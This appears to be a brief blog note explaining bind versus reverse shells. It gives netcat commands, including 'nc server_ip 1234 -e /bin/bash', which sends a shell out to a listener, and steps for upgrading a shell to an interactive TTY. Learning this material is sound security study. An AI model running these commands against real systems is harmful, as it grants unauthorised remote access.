less than 1 minute read

Reverse shell

先弹 shell 就是正向 shell,后连接 后弹 shell 就是反向 shell,先监听

正向 shell

# 服务器端监听 1234 端口
nc -lvp 1234 -e /bin/bash
# 客户端连接 1234 端口
nc server_ip 1234

反向 shell

# 服务器端监听 1234 端口
nc -lvp 1234
# 客户端连接 1234 端口
nc server_ip 1234 -e /bin/bash

interactive shell

  • fix tty
# script command 用于记录终端会话
/usr/bin/script -qc /bin/bash /dev/null
# -q quiet
# -c command

or

python3 -c 'import pty; pty.spawn("/bin/bash")'

  • fix tty type char
# ctrl+z
stty raw -echo; fg
# <CR><CR>
  • fix tty size
# get client tty size
stty -a
# set server tty size
export TERM=xterm-256color
stty rows 24 columns 80

tty

# pass text to another tty
# tty1
echo "hello" > /dev/pts/0
# tty2
cat /dev/pts/1